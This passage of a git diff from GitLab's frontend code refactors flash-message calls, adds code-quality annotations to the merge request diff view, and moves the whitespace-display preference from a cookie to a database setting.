+ return sprintf(s__('ValueStreamAnalytics|%{value}d'), {
+ value: roundToNearestHalf(days),
+ });
+ } else if (hours) {
+ return sprintf(s__('ValueStreamAnalytics|%{value}h'), { value: hours });
+ } else if (minutes) {
+ return sprintf(s__('ValueStreamAnalytics|%{value}m'), { value: minutes });
+ } else if (seconds) {
+ return unescape(sanitize(s__('ValueStreamAnalytics|&lt;1m'), { ALLOWED_TAGS: [] }));
+ }
+ return '-';
+};
+
+/**
+ * Takes a raw median value in seconds and converts it to a string representation
+ * ie. converts 172800 => 2d (2 days)
+ *
+ * @param {Number} Median - The number of seconds for the median calculation
+ * @returns {String} String representation ie 2w
+ */
+export const medianTimeToParsedSeconds = (value) =>
+ timeSummaryForPathNavigation({
+ ...parseSeconds(value, { daysPerWeek: 7, hoursPerDay: 24 }),
+ seconds: value,
+ });
+
+/**
+ * Takes the raw median value arrays and converts them into a useful object
+ * containing the string for display in the path navigation
+ * ie. converts [{ id: 'test', value: 172800 }] => { 'test': '2d' }
+ *
+ * @param {Array} Medians - Array of stage median objects, each contains a `id`, `value` and `error`
+ * @returns {Object} Returns key value pair with the stage name and its display median value
+ */
+export const formatMedianValues = (medians = []) =>
+ medians.reduce((acc, { id, value = 0 }) => {
+ return {
+ ...acc,
+ [id]: value ? medianTimeToParsedSeconds(value) : '-',
+ };
+ }, {});
+
+export const filterStagesByHiddenStatus = (stages = [], isHidden = true) =>
+ stages.filter(({ hidden = false }) => hidden === isHidden);
diff --git a/app/assets/javascripts/deploy_freeze/store/actions.js b/app/assets/javascripts/deploy_freeze/store/actions.js
index 56e45595dc5..fed80b46eda 100644
--- a/app/assets/javascripts/deploy_freeze/store/actions.js
+++ b/app/assets/javascripts/deploy_freeze/store/actions.js
@@ -1,5 +1,5 @@
import Api from '~/api';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import * as types from './mutation_types';
@@ -26,7 +26,9 @@ const receiveFreezePeriod = (store, request) => {
dispatch('fetchFreezePeriods');
})
.catch((error) => {
- createFlash(__('Error: Unable to create deploy freeze'));
+ createFlash({
+ message: __('Error: Unable to create deploy freeze'),
+ });
dispatch('receiveFreezePeriodError', error);
});
};
@@ -58,7 +60,9 @@ export const fetchFreezePeriods = ({ commit, state }) => {
commit(types.RECEIVE_FREEZE_PERIODS_SUCCESS, data);
})
.catch(() => {
- createFlash(__('There was an error fetching the deploy freezes.'));
+ createFlash({
+ message: __('There was an error fetching the deploy freezes.'),
+ });
});
};
diff --git a/app/assets/javascripts/design_management/components/design_overlay.vue b/app/assets/javascripts/design_management/components/design_overlay.vue
index ecca8606f89..7815a57ce18 100644
--- a/app/assets/javascripts/design_management/components/design_overlay.vue
+++ b/app/assets/javascripts/design_management/components/design_overlay.vue
@@ -70,6 +70,13 @@ export default {
? this.getNotePositionStyle(this.movingNoteNewPosition)
: this.getNotePositionStyle(this.currentCommentForm);
},
+ visibleNotes() {
+ if (this.resolvedDiscussionsExpanded) {
+ return this.notes;
+ }
+
+ return this.notes.filter((note) => !note.resolved);
+ },
},
methods: {
setNewNoteCoordinates({ x, y }) {
@@ -272,8 +279,7 @@ export default {
></button>
<design-note-pin
- v-for="note in notes"
- v-if="resolvedDiscussionsExpanded || !note.resolved"
+ v-for="note in visibleNotes"
:key="note.id"
:label="note.index"
:position="
diff --git a/app/assets/javascripts/diffs/components/app.vue b/app/assets/javascripts/diffs/components/app.vue
index 6a3f5993a22..61946d345e3 100644
--- a/app/assets/javascripts/diffs/components/app.vue
+++ b/app/assets/javascripts/diffs/components/app.vue
@@ -12,7 +12,7 @@ import {
MR_COMMITS_NEXT_COMMIT,
MR_COMMITS_PREVIOUS_COMMIT,
} from '~/behaviors/shortcuts/keybindings';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { isSingleViewStyle } from '~/helpers/diffs_helper';
import { getParameterByName, parseBoolean } from '~/lib/utils/common_utils';
import { updateHistory } from '~/lib/utils/url_utility';
@@ -181,7 +181,6 @@ export default {
plainDiffPath: (state) => state.diffs.plainDiffPath,
emailPatchPath: (state) => state.diffs.emailPatchPath,
retrievingBatches: (state) => state.diffs.retrievingBatches,
- codequalityDiff: (state) => state.diffs.codequalityDiff,
}),
...mapState('diffs', [
'showTreeList',
@@ -425,7 +424,9 @@ export default {
if (toggleTree) this.setTreeDisplay();
})
.catch(() => {
- createFlash(__('Something went wrong on our end. Please try again!'));
+ createFlash({
+ message: __('Something went wrong on our end. Please try again!'),
+ });
});
this.fetchDiffFilesBatch()
@@ -438,7 +439,9 @@ export default {
this.setDiscussions();
})
.catch(() => {
- createFlash(__('Something went wrong on our end. Please try again!'));
+ createFlash({
+ message: __('Something went wrong on our end. Please try again!'),
+ });
});
if (this.endpointCoverage) {
diff --git a/app/assets/javascripts/diffs/components/diff_content.vue b/app/assets/javascripts/diffs/components/diff_content.vue
index 283dbc6031c..cb74c7dc7cd 100644
--- a/app/assets/javascripts/diffs/components/diff_content.vue
+++ b/app/assets/javascripts/diffs/components/diff_content.vue
@@ -1,6 +1,7 @@
<script>
import { GlLoadingIcon } from '@gitlab/ui';
import { mapActions, mapGetters, mapState } from 'vuex';
+import { mapInline, mapParallel } from 'ee_else_ce/diffs/components/diff_row_utils';
import DiffFileDrafts from '~/batch_comments/components/diff_file_drafts.vue';
import draftCommentsMixin from '~/diffs/mixins/draft_comments';
import { diffViewerModes } from '~/ide/constants';
@@ -15,7 +16,6 @@ import userAvatarLink from '../../vue_shared/components/user_avatar/user_avatar_
import { IMAGE_DIFF_POSITION_TYPE } from '../constants';
import { getDiffMode } from '../store/utils';
import DiffDiscussions from './diff_discussions.vue';
-import { mapInline, mapParallel } from './diff_row_utils';
import DiffView from './diff_view.vue';
import ImageDiffOverlay from './image_diff_overlay.vue';
import InlineDiffView from './inline_diff_view.vue';
@@ -55,6 +55,7 @@ export default {
'isParallelView',
'getCommentFormForDiffFile',
'diffLines',
+ 'fileLineCodequality',
]),
...mapGetters(['getNoteableData', 'noteableType', 'getUserData']),
diffMode() {
diff --git a/app/assets/javascripts/diffs/components/diff_expansion_cell.vue b/app/assets/javascripts/diffs/components/diff_expansion_cell.vue
index 67900af8789..edff2e67b20 100644
--- a/app/assets/javascripts/diffs/components/diff_expansion_cell.vue
+++ b/app/assets/javascripts/diffs/components/diff_expansion_cell.vue
@@ -1,7 +1,7 @@
<script>
import { GlIcon } from '@gitlab/ui';
import { mapState, mapActions } from 'vuex';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { s__, sprintf } from '~/locale';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { UNFOLD_COUNT, INLINE_DIFF_VIEW_TYPE, INLINE_DIFF_LINES_KEY } from '../constants';
@@ -95,7 +95,9 @@ export default {
this.isRequesting = false;
})
.catch(() => {
- createFlash(s__('Diffs|Something went wrong while fetching diff lines.'));
+ createFlash({
+ message: s__('Diffs|Something went wrong while fetching diff lines.'),
+ });
this.isRequesting = false;
});
},
diff --git a/app/assets/javascripts/diffs/components/diff_file.vue b/app/assets/javascripts/diffs/components/diff_file.vue
index ce867dbb9e0..ed8455f0c1c 100644
--- a/app/assets/javascripts/diffs/components/diff_file.vue
+++ b/app/assets/javascripts/diffs/components/diff_file.vue
@@ -2,7 +2,7 @@
import { GlButton, GlLoadingIcon, GlSafeHtmlDirective as SafeHtml, GlSprintf } from '@gitlab/ui';
import { escape } from 'lodash';
import { mapActions, mapGetters, mapState } from 'vuex';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { hasDiff } from '~/helpers/diffs_helper';
import { diffViewerErrors } from '~/ide/constants';
import { scrollToElement } from '~/lib/utils/common_utils';
@@ -270,7 +270,9 @@ export default {
})
.catch(() => {
this.isLoadingCollapsedDiff = false;
- createFlash(this.$options.i18n.genericError);
+ createFlash({
+ message: this.$options.i18n.genericError,
+ });
});
},
showForkMessage() {
diff --git a/app/assets/javascripts/diffs/components/diff_file_header.vue b/app/assets/javascripts/diffs/components/diff_file_header.vue
index 676c9a3c7bc..45c7fe35f03 100644
--- a/app/assets/javascripts/diffs/components/diff_file_header.vue
+++ b/app/assets/javascripts/diffs/components/diff_file_header.vue
@@ -202,6 +202,9 @@ export default {
externalUrlLabel() {
return sprintf(__('View on %{url}'), { url: this.diffFile.formatted_external_url });
},
+ showCodequalityBadge() {
+ return this.codequalityDiff?.length > 0 && !this.glFeatures.codequalityMrDiffAnnotations;
+ },
},
methods: {
...mapActions('diffs', [
@@ -334,7 +337,7 @@ export default {
/>
<code-quality-badge
- v-if="codequalityDiff.length"
+ v-if="showCodequalityBadge"
:file-name="filePath"
:codequality-diff="codequalityDiff"
class="gl-mr-2"
@@ -351,7 +354,11 @@ export default {
v-if="!diffFile.submodule && addMergeRequestButtons"
class="file-actions d-flex align-items-center gl-ml-auto gl-align-self-start"
>
- <diff-stats :added-lines="diffFile.added_lines" :removed-lines="diffFile.removed_lines" />
+ <diff-stats
+ :diff-file="diffFile"
+ :added-lines="diffFile.added_lines"
+ :removed-lines="diffFile.removed_lines"
+ />
<gl-form-checkbox
v-if="isReviewable && showLocalFileReviews"
v-gl-tooltip.hover
diff --git a/app/assets/javascripts/diffs/components/diff_row.vue b/app/assets/javascripts/diffs/components/diff_row.vue
index d4a1a9e0e46..37dd7941b2e 100644
--- a/app/assets/javascripts/diffs/components/diff_row.vue
+++ b/app/assets/javascripts/diffs/components/diff_row.vue
@@ -24,6 +24,8 @@ import * as utils from './diff_row_utils';
export default {
components: {
DiffGutterAvatars,
+ CodeQualityGutterIcon: () =>
+ import('ee_component/diffs/components/code_quality_gutter_icon.vue'),
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -89,6 +91,20 @@ export default {
if (!this.line.right) return {};
return this.fileLineCoverage(this.filePath, this.line.right.new_line);
},
+ showCodequalityLeft() {
+ return (
+ this.glFeatures.codequalityMrDiffAnnotations &&
+ this.inline &&
+ this.line.left?.codequality?.length > 0
+ );
+ },
+ showCodequalityRight() {
+ return (
+ this.glFeatures.codequalityMrDiffAnnotations &&
+ !this.inline &&
+ this.line.right?.codequality?.length > 0
+ );
+ },
classNameMapCellLeft() {
return utils.classNameMapCell({
line: this.line.left,
@@ -269,6 +285,13 @@ export default {
:class="[...parallelViewLeftLineType, coverageStateLeft.class]"
class="diff-td line-coverage left-side"
></div>
+ <div class="diff-td line-codequality left-side" :class="[...parallelViewLeftLineType]">
+ <code-quality-gutter-icon
+ v-if="showCodequalityLeft"
+ :file-path="filePath"
+ :codequality="line.left.codequality"
+ />
+ </div>
<div
:id="line.left.line_code"
:key="line.left.line_code"
@@ -299,6 +322,11 @@ export default {
:class="emptyCellLeftClassMap"
></div>
<div
+ v-if="inline"
+ class="diff-td line-codequality left-side empty-cell"
+ :class="emptyCellLeftClassMap"
+ ></div>
+ <div
class="diff-td line_content with-coverage left-side empty-cell"
:class="[emptyCellLeftClassMap, { parallel: !inline }]"
></div>
@@ -371,6 +399,16 @@ export default {
class="diff-td line-coverage right-side"
></div>
<div
+ class="diff-td line-codequality right-side"
+ :class="[line.right.type, { hll: isHighlighted, hll: isCommented }]"
+ >
+ <code-quality-gutter-icon
+ v-if="showCodequalityRight"
+ :file-path="filePath"
+ :codequality="line.right.codequality"
+ />
+ </div>
+ <div
:id="line.right.line_code"
:key="line.right.rich_text"
:class="[
@@ -406,6 +444,10 @@ export default {
:class="emptyCellRightClassMap"
></div>
<div
+ class="diff-td line-codequality right-side empty-cell"
+ :class="emptyCellRightClassMap"
+ ></div>
+ <div
class="diff-td line_content with-coverage right-side empty-cell"
:class="[emptyCellRightClassMap, { parallel: !inline }]"
></div>
diff --git a/app/assets/javascripts/diffs/components/diff_stats.vue b/app/assets/javascripts/diffs/components/diff_stats.vue
index 0303700f42a..05d4fbe7c20 100644
--- a/app/assets/javascripts/diffs/components/diff_stats.vue
+++ b/app/assets/javascripts/diffs/components/diff_stats.vue
@@ -2,10 +2,16 @@
import { GlIcon } from '@gitlab/ui';
import { isNumber } from 'lodash';
import { n__ } from '~/locale';
+import { isNotDiffable, stats } from '../utils/diff_file';
export default {
components: { GlIcon },
props: {
+ diffFile: {
+ type: Object,
+ required: false,
+ default: () => null,
+ },
addedLines: {
type: Number,
required: true,
@@ -33,6 +39,12 @@ export default {
hasDiffFiles() {
return isNumber(this.diffFilesLength) && this.diffFilesLength >= 0;
},
+ notDiffable() {
+ return isNotDiffable(this.diffFile);
+ },
+ fileStats() {
+ return stats(this.diffFile);
+ },
},
};
</script>
@@ -41,27 +53,32 @@ export default {
<div
class="diff-stats"
:class="{
- 'is-compare-versions-header d-none d-lg-inline-flex': isCompareVersionsHeader,
- 'd-none d-sm-inline-flex': !isCompareVersionsHeader,
+ 'is-compare-versions-header gl-display-none gl-lg-display-inline-flex': isCompareVersionsHeader,
+ 'gl-display-none gl-sm-display-inline-flex': !isCompareVersionsHeader,
}"
>
- <div v-if="hasDiffFiles" class="diff-stats-group">
- <gl-icon name="doc-code" class="diff-stats-icon text-secondary" />
- <span class="text-secondary bold">{{ diffFilesCountText }} {{ filesText }}</span>
- </div>
- <div
- class="diff-stats-group cgreen d-flex align-items-center"
- :class="{ bold: isCompareVersionsHeader }"
- >
- <span>+</span>
- <span class="js-file-addition-line">{{ addedLines }}</span>
+ <div v-if="notDiffable" :class="fileStats.classes">
+ {{ fileStats.text }}
</div>
- <div
- class="diff-stats-group cred d-flex align-items-center"
- :class="{ bold: isCompareVersionsHeader }"
- >
- <span>-</span>
- <span class="js-file-deletion-line">{{ removedLines }}</span>
+ <div v-else class="diff-stats-contents">
+ <div v-if="hasDiffFiles" class="diff-stats-group">
+ <gl-icon name="doc-code" class="diff-stats-icon text-secondary" />
+ <span class="text-secondary bold">{{ diffFilesCountText }} {{ filesText }}</span>
+ </div>
+ <div
+ class="diff-stats-group gl-text-green-600 gl-display-flex gl-align-items-center"
+ :class="{ bold: isCompareVersionsHeader }"
+ >
+ <span>+</span>
+ <span data-testid="js-file-addition-line">{{ addedLines }}</span>
+ </div>
+ <div
+ class="diff-stats-group gl-text-red-500 gl-display-flex gl-align-items-center"
+ :class="{ bold: isCompareVersionsHeader }"
+ >
+ <span>-</span>
+ <span data-testid="js-file-deletion-line">{{ removedLines }}</span>
+ </div>
</div>
</div>
</template>
diff --git a/app/assets/javascripts/diffs/components/diff_view.vue b/app/assets/javascripts/diffs/components/diff_view.vue
index 43cfa22073f..a2a6ebaeedf 100644
--- a/app/assets/javascripts/diffs/components/diff_view.vue
+++ b/app/assets/javascripts/diffs/components/diff_view.vue
@@ -3,6 +3,7 @@ import { mapGetters, mapState, mapActions } from 'vuex';
import DraftNote from '~/batch_comments/components/draft_note.vue';
import draftCommentsMixin from '~/diffs/mixins/draft_comments';
import { getCommentedLines } from '~/notes/components/multiline_comment_utils';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import DiffCommentCell from './diff_comment_cell.vue';
import DiffExpansionCell from './diff_expansion_cell.vue';
import DiffRow from './diff_row.vue';
@@ -14,7 +15,7 @@ export default {
DiffCommentCell,
DraftNote,
},
- mixins: [draftCommentsMixin],
+ mixins: [draftCommentsMixin, glFeatureFlagsMixin()],
props: {
diffFile: {
type: Object,
@@ -43,6 +44,7 @@ export default {
},
computed: {
...mapGetters('diffs', ['commitId']),
+ ...mapState('diffs', ['codequalityDiff']),
...mapState({
selectedCommentPosition: ({ notes }) => notes.selectedCommentPosition,
selectedCommentPositionHover: ({ notes }) => notes.selectedCommentPositionHover,
@@ -56,6 +58,12 @@ export default {
this.diffLines,
);
},
+ hasCodequalityChanges() {
+ return (
+ this.glFeatures.codequalityMrDiffAnnotations &&
+ this.codequalityDiff?.files?.[this.diffFile.file_path]?.length > 0
+ );
+ },
},
methods: {
...mapActions(['setSelectedCommentPosition']),
@@ -98,7 +106,7 @@ export default {
<template>
<div
- :class="[$options.userColorScheme, { inline }]"
+ :class="[$options.userColorScheme, { inline, 'with-codequality': hasCodequalityChanges }]"
:data-commit-id="commitId"
class="diff-grid diff-table code diff-wrap-lines js-syntax-highlight text-file"
>
diff --git a/app/assets/javascripts/diffs/components/settings_dropdown.vue b/app/assets/javascripts/diffs/components/settings_dropdown.vue
index 879922f86a2..178f93b651e 100644
--- a/app/assets/javascripts/diffs/components/settings_dropdown.vue
+++ b/app/assets/javascripts/diffs/components/settings_dropdown.vue
@@ -1,10 +1,19 @@
<script>
-import { GlButtonGroup, GlButton, GlDropdown, GlFormCheckbox } from '@gitlab/ui';
+import {
+ GlButtonGroup,
+ GlButton,
+ GlDropdown,
+ GlFormCheckbox,
+ GlTooltipDirective,
+} from '@gitlab/ui';
import { mapActions, mapGetters, mapState } from 'vuex';
import { SETTINGS_DROPDOWN } from '../i18n';
export default {
i18n: SETTINGS_DROPDOWN,
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
components: {
GlButtonGroup,
GlButton,
@@ -27,7 +36,7 @@ export default {
this.setFileByFile({ fileByFile: !this.viewDiffsFileByFile });
},
toggleWhitespace(updatedSetting) {
- this.setShowWhitespace({ showWhitespace: updatedSetting, pushState: true });
+ this.setShowWhitespace({ showWhitespace: updatedSetting });
},
},
};
@@ -35,9 +44,13 @@ export default {
<template>
<gl-dropdown
+ v-gl-tooltip
icon="settings"
- :text="__('Diff view settings')"
+ :title="$options.i18n.preferences"
+ :text="$options.i18n.preferences"
:text-sr-only="true"
+ :aria-label="$options.i18n.preferences"
+ :header-text="$options.i18n.preferences"
toggle-class="js-show-diff-settings"
right
>
diff --git a/app/assets/javascripts/diffs/constants.js b/app/assets/javascripts/diffs/constants.js
index f0e15983336..d1e02fbc598 100644
--- a/app/assets/javascripts/diffs/constants.js
+++ b/app/assets/javascripts/diffs/constants.js
@@ -1,7 +1,3 @@
-// The backend actually uses "hide_whitespace" while the frontend
-// uses "show whitspace" so these values are opposite what you might expect
-export const NO_SHOW_WHITESPACE = '1';
-export const SHOW_WHITESPACE = '0';
export const INLINE_DIFF_VIEW_TYPE = 'inline';
export const PARALLEL_DIFF_VIEW_TYPE = 'parallel';
export const MATCH_LINE_TYPE = 'match';
diff --git a/app/assets/javascripts/diffs/i18n.js b/app/assets/javascripts/diffs/i18n.js
index b2354af1eec..a45fd92d0a9 100644
--- a/app/assets/javascripts/diffs/i18n.js
+++ b/app/assets/javascripts/diffs/i18n.js
@@ -23,4 +23,5 @@ export const DIFF_FILE = {
export const SETTINGS_DROPDOWN = {
whitespace: __('Show whitespace changes'),
fileByFile: __('Show one file at a time'),
+ preferences: __('Preferences'),
};
diff --git a/app/assets/javascripts/diffs/index.js b/app/assets/javascripts/diffs/index.js
index 5a8862c2b70..0ab72749760 100644
--- a/app/assets/javascripts/diffs/index.js
+++ b/app/assets/javascripts/diffs/index.js
@@ -98,10 +98,23 @@ export default function initDiffsApp(store) {
this.setRenderTreeList(renderTreeList);
- // Set whitespace default as per user preferences unless cookie is already set
- if (!Cookies.get(DIFF_WHITESPACE_COOKIE_NAME)) {
- const hideWhitespace = this.showWhitespaceDefault ? '0' : '1';
- this.setShowWhitespace({ showWhitespace: hideWhitespace !== '1' });
+ // NOTE: A "true" or "checked" value for `showWhitespace` is '0' not '1'.
+ // Check for cookie and save that setting for future use.
+ // Then delete the cookie as we are phasing it out and using the database as SSOT.
+ // NOTE: This can/should be removed later
+ if (Cookies.get(DIFF_WHITESPACE_COOKIE_NAME)) {
+ const hideWhitespace = Cookies.get(DIFF_WHITESPACE_COOKIE_NAME);
+ this.setShowWhitespace({
+ url: this.endpointUpdateUser,
+ showWhitespace: hideWhitespace !== '1',
+ });
+ Cookies.remove(DIFF_WHITESPACE_COOKIE_NAME);
+ } else {
+ // This is only to set the the user preference in Vuex for use later
+ this.setShowWhitespace({
+ showWhitespace: this.showWhitespaceDefault,
+ updateDatabase: false,
+ });
}
},
methods: {
diff --git a/app/assets/javascripts/diffs/store/actions.js b/app/assets/javascripts/diffs/store/actions.js
index d0730e18228..2e94f147086 100644
--- a/app/assets/javascripts/diffs/store/actions.js
+++ b/app/assets/javascripts/diffs/store/actions.js
@@ -1,7 +1,7 @@
import Cookies from 'js-cookie';
import Vue from 'vue';
import api from '~/api';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { diffViewerModes } from '~/ide/constants';
import axios from '~/lib/utils/axios_utils';
import { handleLocationHash, historyPushState, scrollToElement } from '~/lib/utils/common_utils';
@@ -26,9 +26,6 @@ import {
START_RENDERING_INDEX,
INLINE_DIFF_LINES_KEY,
DIFFS_PER_PAGE,
- DIFF_WHITESPACE_COOKIE_NAME,
- SHOW_WHITESPACE,
- NO_SHOW_WHITESPACE,
DIFF_FILE_MANUAL_COLLAPSE,
DIFF_FILE_AUTOMATIC_COLLAPSE,
EVT_PERF_MARK_FILE_TREE_START,
@@ -240,7 +237,10 @@ export const fetchCoverageFiles = ({ commit, state }) => {
coveragePoll.stop();
}
},
- errorCallback: () => createFlash(__('Something went wrong on our end. Please try again!')),
+ errorCallback: () =>
+ createFlash({
+ message: __('Something went wrong on our end. Please try again!'),
+ }),
});
coveragePoll.makeRequest();
@@ -504,7 +504,11 @@ export const saveDiffDiscussion = ({ state, dispatch }, { note, formData }) => {
.then((discussion) => dispatch('assignDiscussionsToDiff', [discussion]))
.then(() => dispatch('updateResolvableDiscussionsCounts', null, { root: true }))
.then(() => dispatch('closeDiffFileCommentForm', formData.diffFile.file_hash))
- .catch(() => createFlash(s__('MergeRequests|Saving the comment failed')));
+ .catch(() =>
+ createFlash({
+ message: s__('MergeRequests|Saving the comment failed'),
+ }),
+ );
};
export const toggleTreeOpen = ({ commit }, path) => {
@@ -562,16 +566,15 @@ export const setRenderTreeList = ({ commit }, renderTreeList) => {
}
};
-export const setShowWhitespace = ({ commit }, { showWhitespace, pushState = false }) => {
- commit(types.SET_SHOW_WHITESPACE, showWhitespace);
- const w = showWhitespace ? SHOW_WHITESPACE : NO_SHOW_WHITESPACE;
-
- Cookies.set(DIFF_WHITESPACE_COOKIE_NAME, w);
-
- if (pushState) {
- historyPushState(mergeUrlParams({ w }, window.location.href));
+export const setShowWhitespace = async (
+ { state, commit },
+ { url, showWhitespace, updateDatabase = true },
+) => {
+ if (updateDatabase) {
+ await axios.put(url || state.endpointUpdateUser, { show_whitespace_in_diffs: showWhitespace });
}
+ commit(types.SET_SHOW_WHITESPACE, showWhitespace);
notesEventHub.$emit('refetchDiffData');
if (window.gon?.features?.diffSettingsUsageData) {
@@ -595,7 +598,9 @@ export const cacheTreeListWidth = (_, size) => {
export const receiveFullDiffError = ({ commit }, filePath) => {
commit(types.RECEIVE_FULL_DIFF_ERROR, filePath);
- createFlash(s__('MergeRequest|Error loading full diff. Please try again.'));
+ createFlash({
+ message: s__('MergeRequest|Error loading full diff. Please try again.'),
+ });
};
export const setExpandedDiffLines = ({ commit }, { file, data }) => {
@@ -727,7 +732,9 @@ export const setSuggestPopoverDismissed = ({ commit, state }) =>
commit(types.SET_SHOW_SUGGEST_POPOVER);
})
.catch(() => {
- createFlash(s__('MergeRequest|Error dismissing suggestion popover. Please try again.'));
+ createFlash({
+ message: s__('MergeRequest|Error dismissing suggestion popover. Please try again.'),
+ });
});
export function changeCurrentCommit({ dispatch, commit, state }, { commitId }) {
diff --git a/app/assets/javascripts/diffs/store/getters.js b/app/assets/javascripts/diffs/store/getters.js
index 0a9623c13a3..a536db5c417 100644
--- a/app/assets/javascripts/diffs/store/getters.js
+++ b/app/assets/javascripts/diffs/store/getters.js
@@ -1,3 +1,4 @@
+import { getParameterValues } from '~/lib/utils/url_utility';
import { __, n__ } from '~/locale';
import {
PARALLEL_DIFF_VIEW_TYPE,
@@ -135,6 +136,11 @@ export const fileLineCoverage = (state) => (file, line) => {
return {};
};
+// This function is overwritten for the inline codequality feature in EE
+export const fileLineCodequality = () => () => {
+ return null;
+};
+
/**
* Returns index of a currently selected diff in diffFiles
* @returns {number}
@@ -172,4 +178,6 @@ export function suggestionCommitMessage(state, _, rootState) {
}
export const isVirtualScrollingEnabled = (state) =>
- !state.viewDiffsFileByFile && window.gon?.features?.diffsVirtualScrolling;
+ !state.viewDiffsFileByFile &&
+ (window.gon?.features?.diffsVirtualScrolling ||
+ getParameterValues('virtual_scrolling')[0] === 'true');
diff --git a/app/assets/javascripts/diffs/store/modules/diff_state.js b/app/assets/javascripts/diffs/store/modules/diff_state.js
index 1674d3d3b5a..348dd452698 100644
--- a/app/assets/javascripts/diffs/store/modules/diff_state.js
+++ b/app/assets/javascripts/diffs/store/modules/diff_state.js
@@ -1,20 +1,13 @@
import Cookies from 'js-cookie';
import { getParameterValues } from '~/lib/utils/url_utility';
-import {
- INLINE_DIFF_VIEW_TYPE,
- DIFF_VIEW_COOKIE_NAME,
- DIFF_WHITESPACE_COOKIE_NAME,
-} from '../../constants';
+import { INLINE_DIFF_VIEW_TYPE, DIFF_VIEW_COOKIE_NAME } from '../../constants';
import { fileByFile } from '../../utils/preferences';
-import { getDefaultWhitespace } from '../utils';
const getViewTypeFromQueryString = () => getParameterValues('view')[0];
const viewTypeFromCookie = Cookies.get(DIFF_VIEW_COOKIE_NAME);
const defaultViewType = INLINE_DIFF_VIEW_TYPE;
-const whiteSpaceFromQueryString = getParameterValues('w')[0];
-const whiteSpaceFromCookie = Cookies.get(DIFF_WHITESPACE_COOKIE_NAME);
export default () => ({
isLoading: true,
@@ -42,7 +35,7 @@ export default () => ({
commentForms: [],
highlightedRow: null,
renderTreeList: true,
- showWhitespace: getDefaultWhitespace(whiteSpaceFromQueryString, whiteSpaceFromCookie),
+ showWhitespace: true,
viewDiffsFileByFile: fileByFile(),
fileFinderVisible: false,
dismissEndpoint: '',
diff --git a/app/assets/javascripts/diffs/store/modules/index.js b/app/assets/javascripts/diffs/store/modules/index.js
index 03d11e60745..169502a957b 100644
--- a/app/assets/javascripts/diffs/store/modules/index.js
+++ b/app/assets/javascripts/diffs/store/modules/index.js
@@ -1,7 +1,7 @@
import * as actions from 'ee_else_ce/diffs/store/actions';
+import * as getters from 'ee_else_ce/diffs/store/getters';
import createState from 'ee_else_ce/diffs/store/modules/diff_state';
import mutations from 'ee_else_ce/diffs/store/mutations';
-import * as getters from '../getters';
export default () => ({
namespaced: true,
diff --git a/app/assets/javascripts/diffs/store/utils.js b/app/assets/javascripts/diffs/store/utils.js
index 7fa51b9ddea..75d2cf43b94 100644
--- a/app/assets/javascripts/diffs/store/utils.js
+++ b/app/assets/javascripts/diffs/store/utils.js
@@ -1,6 +1,5 @@
import { property, isEqual } from 'lodash';
import { diffModes, diffViewerModes } from '~/ide/constants';
-import { truncatePathMiddleToLength } from '~/lib/utils/text_utility';
import {
LINE_POSITION_LEFT,
LINE_POSITION_RIGHT,
@@ -11,10 +10,7 @@ import {
OLD_LINE_TYPE,
MATCH_LINE_TYPE,
LINES_TO_BE_RENDERED_DIRECTLY,
- TREE_TYPE,
INLINE_DIFF_LINES_KEY,
- SHOW_WHITESPACE,
- NO_SHOW_WHITESPACE,
CONFLICT_OUR,
CONFLICT_THEIR,
CONFLICT_MARKER,
@@ -485,111 +481,6 @@ export function isDiscussionApplicableToLine({ discussion, diffPosition, latestD
return latestDiff && discussion.active && line_code === discussion.line_code;
}
-export const getLowestSingleFolder = (folder) => {
- const getFolder = (blob, start = []) =>
- blob.tree.reduce(
- (acc, file) => {
- const shouldGetFolder = file.tree.length === 1 && file.tree[0].type === TREE_TYPE;
- const currentFileTypeTree = file.type === TREE_TYPE;
- const path = shouldGetFolder || currentFileTypeTree ? acc.path.concat(file.name) : acc.path;
- const tree = shouldGetFolder || currentFileTypeTree ? acc.tree.concat(file) : acc.tree;
-
- if (shouldGetFolder) {
- const firstFolder = getFolder(file);
-
- path.push(...firstFolder.path);
- tree.push(...firstFolder.tree);
- }
-
- return {
- ...acc,
- path,
- tree,
- };
- },
- { path: start, tree: [] },
- );
- const { path, tree } = getFolder(folder, [folder.name]);
-
- return {
- path: truncatePathMiddleToLength(path.join('/'), 40),
- treeAcc: tree.length ? tree[tree.length - 1].tree : null,
- };
-};
-
-export const flattenTree = (tree) => {
- const flatten = (blobTree) =>
- blobTree.reduce((acc, file) => {
- const blob = file;
- let treeToFlatten = blob.tree;
-
- if (file.type === TREE_TYPE && file.tree.length === 1) {
- const { treeAcc, path } = getLowestSingleFolder(file);
-
- if (treeAcc) {
- blob.name = path;
- treeToFlatten = flatten(treeAcc);
- }
- }
-
- blob.tree = flatten(treeToFlatten);
-
- return acc.concat(blob);
- }, []);
-
- return flatten(tree);
-};
-
-export const generateTreeList = (files) => {
- const { treeEntries, tree } = files.reduce(
- (acc, file) => {
- const split = file.new_path.split('/');
-
- split.forEach((name, i) => {
- const parent = acc.treeEntries[split.slice(0, i).join('/')];
- const path = `${parent ? `${parent.path}/` : ''}${name}`;
-
- if (!acc.treeEntries[path]) {
- const type = path === file.new_path ? 'blob' : 'tree';
- acc.treeEntries[path] = {
- key: path,
- path,
- name,
- type,
- tree: [],
- };
-
- const entry = acc.treeEntries[path];
-
- if (type === 'blob') {
- Object.assign(entry, {
- changed: true,
- tempFile: file.new_file,
- deleted: file.deleted_file,
- fileHash: file.file_hash,
- addedLines: file.added_lines,
- removedLines: file.removed_lines,
- parentPath: parent ? `${parent.path}/` : '/',
- submodule: file.submodule,
- });
- } else {
- Object.assign(entry, {
- opened: true,
- });
- }
-
- (parent ? parent.tree : acc.tree).push(entry);
- }
- });
-
- return acc;
- },
- { treeEntries: {}, tree: [] },
- );
-
- return { treeEntries, tree: flattenTree(tree) };
-};
-
export const getDiffMode = (diffFile) => {
const diffModeKey = Object.keys(diffModes).find((key) => diffFile[`${key}_file`]);
